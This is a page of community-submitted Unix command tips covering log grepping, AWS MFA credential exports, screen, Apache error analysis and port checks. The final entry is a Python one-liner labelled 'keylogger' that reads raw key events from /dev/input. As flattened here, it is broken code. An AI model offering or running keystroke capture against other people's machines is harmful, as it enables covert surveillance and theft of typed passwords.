Commands tagged unix (65)

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Get all possible problems from any log files
Using the grep command, retrieve all lines from any log files in /var/log/ that have one of the problem states

Listing today’s files only

Get AWS temporary credentials ready to export based on a MFA virtual appliance
You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Start screen in detached mode
Start screen in detached mode, i.e., already running on background. The command is optional, but what is the purpose on start a blank screen process that way? It's useful when invoking from a script (I manage to run many wget downloads in parallel, for example).

Quickly analyse an Apache error log
This searches the Apache error_log for each of the 5 most significant Apache error levels, if any are found the date is then cut from the output in order to sort then print the most common occurrence of each error.

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Show bash's function definitions you defined in .bash_profile or .bashrc
If you omit the function name, the command will display all definitions

Show current pathname in title of terminal
This helps to keep track of what is going on when you have several tabs open in your terminal. The title automatically changes when you change directories.

Watch the progress of 'dd'
dcfldd is a forensic version of dd that shows a process indicator by default.

keylogger
$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "


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